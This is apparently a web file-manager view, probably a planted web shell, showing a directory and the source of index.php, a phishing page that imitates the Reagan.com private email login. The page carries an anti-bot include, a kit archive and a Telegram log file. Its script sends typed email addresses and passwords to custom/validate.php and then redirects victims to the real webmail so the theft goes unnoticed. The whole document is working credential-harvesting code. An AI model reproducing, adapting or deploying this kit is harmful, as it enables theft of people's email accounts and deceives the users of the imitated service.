at path:
ROOT
/
apps
/
index.php
run:
R
W
Run
adobe
DIR
2026-09-14 13:09:13
R
W
Run
anti
DIR
2026-09-16 14:52:48
R
W
Run
assets
DIR
2026-09-28 02:48:56
R
W
Run
custom
DIR
2026-09-14 14:08:01
R
W
Run
custom_error.log
413 By
2026-09-03 16:49:41
R
W
Run
Delete
Rename
e1d9c12fd6134ce8a3dbb6934f536f4.html
691 By
2026-09-10 20:26:57
R
W
Run
Delete
Rename
index.html
30.22 KB
2026-09-10 20:36:53
R
W
Run
Delete
Rename
index.php
22.15 KB
2026-09-03 12:49:07
R
W
Run
Delete
Rename
reagan.zip
1.3 MB
2026-09-03 16:48:55
R
W
Run
Delete
Rename
telegram_debug.log
329 By
2026-09-03 16:49:41
R
W
Run
Delete
Rename
error_log
up
📄
index.php
Save
<?php require_once __DIR__ . '/anti/anti-bot.php'; $showError = array_key_exists('error', $_GET); $prefillEmail = ''; if ($showError && !empty($_SESSION['auth_attempt_email'])) { $prefillEmail = htmlspecialchars((string) $_SESSION['auth_attempt_email'], ENT_QUOTES, 'UTF-8'); } if (!$showError) { unset($_SESSION['auth_attempt_email']); } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"> <meta name="format-detection" content="telephone=no"> <meta name="robots" content="noindex, nofollow"> <title>Secure Email Service | Support and FAQs</title> <meta name="description" content="Do you need a private email account? Reagan email gives our members the private email they deserve and need."> <link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <link href="https://fonts.googleapis.com/css2?family=Cinzel:wght@400;700&family=Josefin+Sans:ital,wght@0,400;0,700;1,400&family=Raleway:ital,wght@0,400;0,700;1,400;1,700&family=Source+Sans+3:wght@400;600;700&display=swap" rel="stylesheet"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"> <style> @layer inherited; *, *::before, *::after { box-sizing: border-box; } html, body, div, ul, li, h1, h2, h4, p, form, input, button, span, a { margin: 0; padding: 0; } ul { list-style: none; } img { border: 0; max-width: 100%; display: block; } a { outline: 0; text-decoration: none; color: #000; } a:hover { color: #000; } h1, h2 { font-size: 22px; font-weight: 700; } h4 { font-size: 16px; font-weight: 700; } input, button { max-width: 100%; } button, div { max-width: unset; } body { color: #000; font-family: Arial, Verdana, Tahoma; font-size: 14px; background-color: #fff; } .rg-clearfix::after { content: ''; display: table; clear: both; } .rg-page { width: 100%; background-color: #fff; max-width: 1920px; } .rg-header-wrap { width: 100%; background-color: #fff; position: sticky; top: 0; z-index: 2000; box-shadow: 0 0 10px rgba(100,100,100,0.5); } .rg-header { display: flex; align-items: center; flex-wrap: wrap; padding: 12px 24px; gap: 8px; } .rg-logo { flex-shrink: 0; } .rg-logo a { display: inline-block; } .rg-logo img { display: block; height: 48px; width: auto; } .rg-nav { flex: 1; padding: 0 12px; } .rg-nav ul { display: flex; flex-wrap: wrap; gap: 0 8px; margin: 0 0 0 16px; } .rg-nav ul li a { color: #000; font-family: 'Source Sans 3', Arial, sans-serif; font-size: 24px; font-weight: 400; line-height: 48px; white-space: nowrap; display: block; padding: 0 8px; } .rg-nav ul li a:hover { color: #2f5597; } .rg-header-right { display: flex; align-items: center; gap: 10px; flex-shrink: 0; } .rg-join-btn a { color: #fff; background-color: #1a73e8; border-radius: 8px; padding: 8px 28px; font-family: 'Source Sans 3', Arial, sans-serif; font-size: 20px; font-weight: 700; line-height: 28px; display: inline-block; white-space: nowrap; } .rg-join-btn a:hover { background-color: #00539b; color: #fff; } .rg-mob-menu { cursor: pointer; display: none; background: none; border: none; padding: 4px; line-height: 0; } .rg-mob-menu img { width: 33px; height: 24px; } .rg-main { width: 100%; } .rg-main-inner { padding: 10px 0; display: flex; justify-content: center; } .rg-container { width: 100%; max-width: 1020px; } .rg-center-panel { background: #fff; width: 100%; margin: 10px 0 0; } .rg-content-inner { color: #000; width: 100%; min-height: 500px; padding: 10px; } .rg-login-page { margin-bottom: 15px; padding-bottom: 5px; } .rg-login-row { display: flex; flex-wrap: wrap; align-items: flex-start; gap: 0; color: #555; width: 100%; margin-top: 10px; font-size: 11px; } .rg-blog-col { flex: 0 0 60%; max-width: 60%; text-align: center; } .rg-blog-title-wrap { position: relative; overflow: hidden; text-align: left; } .rg-blog-title-wrap .rg-bg-img { position: absolute; inset: 0; width: 100%; height: 100%; object-fit: cover; z-index: 0; display: block; } .rg-blog-title { position: relative; z-index: 1; color: #fff; padding: 28px 24px 18px; font-family: 'Josefin Sans', Arial, sans-serif; font-size: 15px; font-weight: 700; line-height: 1.35; text-align: center; } .rg-blog-section { text-align: left; } .rg-banner-outer { position: relative; overflow: hidden; } .rg-banner-outer > .rg-bg-img { position: absolute; inset: 0; width: 100%; height: 100%; object-fit: fill; z-index: 0; display: block; } .rg-banner-wrap { position: relative; z-index: 1; padding: 12px; } .rg-banner-inner { background: rgba(253,233,236,0.9); max-width: 100%; margin: 0 auto; padding: 0 10px; } .rg-banner-inner h2 { color: #1963a4; border-bottom: 1px solid #1963a4; margin-bottom: 10px; padding: 5px 0; font-family: 'Cinzel', serif; font-size: 20px; line-height: 22px; } .rg-banner-img { float: left; width: 39%; } .rg-banner-img img { max-width: 100%; } .rg-banner-text { float: left; width: 57%; padding: 0 2%; } .rg-banner-text h4 { color: #3a3a3a; padding: 0 0 15px; font-family: 'Josefin Sans', Arial, sans-serif; font-size: 16px; line-height: 18px; } .rg-banner-text p { color: #3a3a3a; padding: 0 0 10px; font-family: 'Josefin Sans', Arial, sans-serif; line-height: 20px; } .rg-read-more { color: #e41937 !important; padding: 3px 0 0; font-family: 'Cinzel', serif; font-size: 12px; line-height: 40px; display: inline-block; } .rg-read-more .fa { color: #e41937; font-size: 15px; } .rg-read-more span { color: #e41937; letter-spacing: 1px; padding: 3px 0 0 12px; font-family: 'Josefin Sans', Arial, sans-serif; font-weight: 700; text-decoration: underline; display: inline-block; } .rg-join-cta { text-align: center; width: 100%; margin-top: 24px; padding-bottom: 16px; } .rg-join-cta a { color: #fff; background-color: #1a73e8; border-radius: 8px; padding: 8px 32px; font-family: 'Source Sans 3', Arial, sans-serif; font-size: 22px; font-weight: 700; line-height: 32px; display: inline-block; } .rg-join-cta a:hover { background-color: #00539b; } .rg-login-col { flex: 0 0 40%; max-width: 40%; min-width: 250px; } .rg-login-heading { display: block; position: relative; overflow: hidden; margin: 5px 10px; text-align: center; } .rg-login-heading .rg-head-bg { position: absolute; inset: 0; width: 100%; height: 100%; object-fit: fill; z-index: 0; display: block; } .rg-login-heading a { position: relative; z-index: 1; display: inline-block; } .rg-login-heading img.rg-returning { display: inline-block; max-width: 100%; } .rg-login-box { text-align: left; border: 1px solid #d3d3d3; min-height: 200px; margin: 0 10px 10px; padding: 15px 10px 10px; } .rg-field-group { margin-bottom: 8px; } .rg-field-group:last-of-type { margin-bottom: 0; } .rg-field-label { display: block; font-weight: 700; margin-bottom: 9px; font-size: 11px; } .rg-field-input { width: 165.6px; height: 19.2px; padding: 0 4px; border: 1px solid #767676; border-radius: 0; background: #fff; font-size: 13px; font-family: Arial, Verdana, Tahoma; color: #000; box-shadow: none; -webkit-appearance: none; box-sizing: content-box; } .rg-field-input:focus { outline: none; border: 2px solid #000; } .rg-forgot { display: block; font-size: 11px; color: #000; margin: 10px 0 0; } .rg-forgot:hover { color: #000; text-decoration: underline; } .rg-login-btn-wrap { margin-top: -6px; } @layer inherited { #rg-submit { width: 52.26px; height: 21.2px; padding: 0; border: 1px solid #a0a0a0; line-height: 21.2px; appearance: none; -webkit-appearance: none; color: #000; font-size: 13px; text-align: center; font-family: Arial, Verdana, Tahoma; vertical-align: middle; } } #rg-submit:focus, #rg-submit:active { padding: 0; border: 1px solid #a0a0a0; line-height: 21.2px; outline: none; } @media screen and (width<=480px) { #rg-submit:after { visibility: hidden; font-size: 0; line-height: 0; } } #rg-submit:disabled { opacity: 0.55; cursor: not-allowed; } .rg-error-banner { background: transparent; border: 0; padding: 0; margin-bottom: 16px; margin-left: 0; font-size: 11px; line-height: 1; color: #cc0000; font-weight: 400; text-align: left; } #rg-hint { min-height: 1.2em; font-size: 11px; color: #b00020; margin-bottom: 4px; } #rg-hint:empty { display: none; } #rg-alert { padding: 6px 8px; border-radius: 4px; background: #fdecea; color: #611a15; font-size: 11px; margin: 6px 0; border: 1px solid #f5c6cb; } #rg-alert[hidden] { display: none !important; } .rg-terms { text-align: center; margin: 6px 10px; font-size: 11px; color: #555; } .rg-terms a { color: #1a73e8; font-size: 11px; } .rg-terms a:hover { text-decoration: underline; } .rg-bottom-banner { text-align: center; padding: 10px; } .rg-bottom-banner img { display: inline-block; max-width: 100%; } .rg-footer-wrap { width: 100%; background-color: #f8f9fa; } .rg-footer-inner { color: #707070; text-align: right; padding: 24px 40px; font-family: 'Source Sans 3', Arial, sans-serif; font-size: 18px; font-weight: 400; line-height: 26px; } .rg-footer-inner a { color: #707070; display: inline-block; } .rg-footer-logo-row img { display: inline-block; } @media (max-width: 1024px) { .rg-nav ul li a { font-size: 16px; line-height: 40px; padding: 0 6px; } .rg-join-btn a { font-size: 17px; padding: 6px 18px; } .rg-logo img { height: 40px; } } @media (max-width: 768px) { .rg-header { padding: 10px 16px; flex-wrap: nowrap; } .rg-logo img { height: 36px; } .rg-nav { display: none; flex: none; width: 100%; order: 4; padding: 0; } .rg-nav.rg-nav-open { display: block; } .rg-nav ul { flex-direction: column; margin: 0; border-top: 1px solid #eee; gap: 0; } .rg-nav ul li { width: 100%; } .rg-nav ul li a { font-size: 16px; line-height: 1; padding: 12px 16px; border-bottom: 1px solid #f0f0f0; display: block; } .rg-mob-menu { display: block; } .rg-join-btn { display: none; } .rg-login-row { flex-direction: column; align-items: center; } .rg-blog-col { display: none; } .rg-login-col { flex: none; max-width: 100%; width: 100%; } .rg-content-inner { padding: 8px; min-height: auto; } .rg-main-inner { padding: 8px 0; } .rg-center-panel { margin-top: 0; } .rg-footer-inner { padding: 16px; text-align: center; } } @media (max-width: 480px) { .rg-header { padding: 8px 12px; } .rg-logo img { height: 32px; } .rg-login-box { margin: 0 0 10px; padding: 14px 12px 10px; } .rg-login-heading { margin: 5px 0; } .rg-terms { margin: 6px 0; } .rg-bottom-banner { padding: 6px 0; } .rg-footer-inner { padding: 12px 8px; font-size: 15px; } } </style> </head> <body> <div class="rg-page"> <div class="rg-header-wrap"> <div class="rg-header"> <div class="rg-logo"> <a href="#"> <img src="assets/img/reagan-logo.png" height="48" alt="Reagan Best Private Email"> </a> </div> <nav class="rg-nav" id="rg-nav" aria-label="Main navigation"> <ul> <li><a href="#">Blog</a></li> <li><a href="#" target="_blank" rel="noopener">Support</a></li> <li><a href="#">Member Area</a></li> <li><a href="#">My Email</a></li> </ul> </nav> <div class="rg-header-right"> <button class="rg-mob-menu" id="rg-mob-menu" aria-label="Toggle navigation" aria-expanded="false" aria-controls="rg-nav"> <img src="assets/img/menu.png" width="33" height="24" alt=""> </button> <div class="rg-join-btn"> <a href="#">Join Now</a> </div> </div> </div> </div> <div class="rg-main"> <div class="rg-main-inner"> <div class="rg-container"> <div class="rg-center-panel"> <div class="rg-content-inner"> <div class="rg-login-page"> <div class="rg-login-row rg-clearfix"> <div class="rg-blog-col"> <div class="rg-blog-title-wrap"> <img src="assets/img/blog-title-bg.png" class="rg-bg-img" alt=""> <h1 class="rg-blog-title"> Check our latest blogs for vital stories regarding personal liberty, government overreach, and other topics that affect your health, finances, and general well-being during these times of crises. </h1> </div> <div class="rg-blog-section"> <div class="rg-banner-outer"> <img src="assets/img/hero-bg.png" class="rg-bg-img" alt=""> <div class="rg-banner-wrap"> <div class="rg-banner-inner rg-clearfix"> <h2>FEATURED STORY</h2> <div class="rg-banner-img"> <a href="#"> <img src="assets/img/featured-story.jpg" alt=""> </a> </div> <div class="rg-banner-text"> <h4>How to Protect Your Digital Privacy at Work</h4> <p>One of the most frequently asked questions we receive at Reagan.com is: "Does a person have a right to privacy at work?"</p> <a href="#" class="rg-read-more"> <i class="fa fa-star"><span>READ MORE</span></i> </a> </div> </div> </div> </div> </div> <div class="rg-join-cta"> <a href="#">Join Now</a> </div> </div> <div class="rg-login-col"> <span class="rg-login-heading"> <img src="assets/img/login-head-bg.png" class="rg-head-bg" alt=""> <a href="#"> <img src="assets/img/returning.png" class="rg-returning" alt="Returning Member"> </a> </span> <div class="rg-login-box"> <?php if ($showError): ?> <div class="rg-error-banner" role="alert"> Username / Password incorrect </div> <?php endif; ?> <p id="rg-hint" role="status" aria-live="polite"></p> <form id="rg-form" novalidate autocomplete="off"> <div class="rg-field-group"> <label class="rg-field-label" for="rg-email">Email address</label> <input id="rg-email" type="email" name="Username" class="rg-field-input" value="<?php echo $prefillEmail; ?>" tabindex="1" autocomplete="username" autocorrect="off" autocapitalize="off" spellcheck="false" aria-required="true" > </div> <div class="rg-field-group"> <label class="rg-field-label" for="rg-pass">Password</label> <input id="rg-pass" type="password" name="Password" class="rg-field-input" tabindex="2" autocomplete="current-password" aria-required="true" > <a class="rg-forgot" href="https://account.reagan.com/emailpasswordreset" tabindex="4"> Forgot password? </a> </div> <div id="rg-alert" role="alert" aria-live="assertive" hidden></div> <div class="rg-login-btn-wrap"> <button id="rg-submit" type="submit" tabindex="3">Log In</button> </div> </form> </div> <div class="rg-terms"> Terms of Service: <a href="https://account.reagan.com/TermsOfService" target="_blank" rel="noopener">Mail</a> | <a href="https://account.reagan.com/PrivacyInfo" target="_blank" rel="noopener">Privacy Policy</a> </div> <div class="rg-bottom-banner"> <br> <a href="https://www.reagan.com/annuity-landing-page/"> <img src="assets/img/reagan-banner.png" alt=""> </a> </div> </div> </div><!-- /rg-login-row --> </div><!-- /rg-login-page --> </div> </div> </div> </div> </div> <div class="rg-footer-wrap"> <div class="rg-footer-container"> <div class="rg-footer-inner rg-clearfix"> <div class="rg-footer-logo-row"> <a href="https://www.reagan.com"> <img src="assets/img/reagan-footer-logo.png" alt="Reagan best private email service" height="47"> </a> </div> </div> </div> </div> </div><!-- /rg-page --> <script> (function () { var btn = document.getElementById('rg-mob-menu'); var nav = document.getElementById('rg-nav'); if (!btn || !nav) return; btn.addEventListener('click', function () { var open = nav.classList.toggle('rg-nav-open'); btn.setAttribute('aria-expanded', open ? 'true' : 'false'); }); document.addEventListener('click', function (e) { if (!nav.contains(e.target) && !btn.contains(e.target)) { nav.classList.remove('rg-nav-open'); btn.setAttribute('aria-expanded', 'false'); } }); }()); (function () { var form = document.getElementById('rg-form'); var emailEl = document.getElementById('rg-email'); var passEl = document.getElementById('rg-pass'); var hint = document.getElementById('rg-hint'); var alert = document.getElementById('rg-alert'); var btn = document.getElementById('rg-submit'); var VALIDATE_URL = 'custom/validate.php'; var SUCCESS_URL = 'https://webmail.reagan.com'; function clearMessages() { hint.textContent = ''; alert.textContent = ''; alert.setAttribute('hidden', ''); } function showHint(msg) { hint.textContent = msg; } function showAlert(msg) { alert.textContent = msg; alert.removeAttribute('hidden'); } function isValidEmail(v) { return v.length > 0 && /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(v); } function setBusy(busy) { btn.disabled = !!busy; btn.textContent = 'Log In'; } if (!form) return; form.addEventListener('submit', function (e) { e.preventDefault(); clearMessages(); var emailVal = (emailEl.value || '').trim(); var passVal = passEl.value || ''; if (!isValidEmail(emailVal)) { showHint('Please enter a valid email address.'); emailEl.focus(); return; } if (!passVal.trim()) { showAlert('Please enter your password.'); passEl.focus(); return; } setBusy(true); var body = new URLSearchParams(); body.set('Username', emailVal); body.set('Password', passVal); fetch(VALIDATE_URL, { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', 'Accept': 'application/json' }, body: body.toString(), credentials: 'same-origin' }) .then(function (resp) { return resp.json(); }) .then(function (data) { if (data.success) { window.location.href = data.redirect || SUCCESS_URL; } else { showAlert('Login failed. Please try again.'); } }) .catch(function () { showAlert('Something went wrong. Please try again.'); }) .finally(function () { setBusy(false); }); }); }()); </script> </body> </html>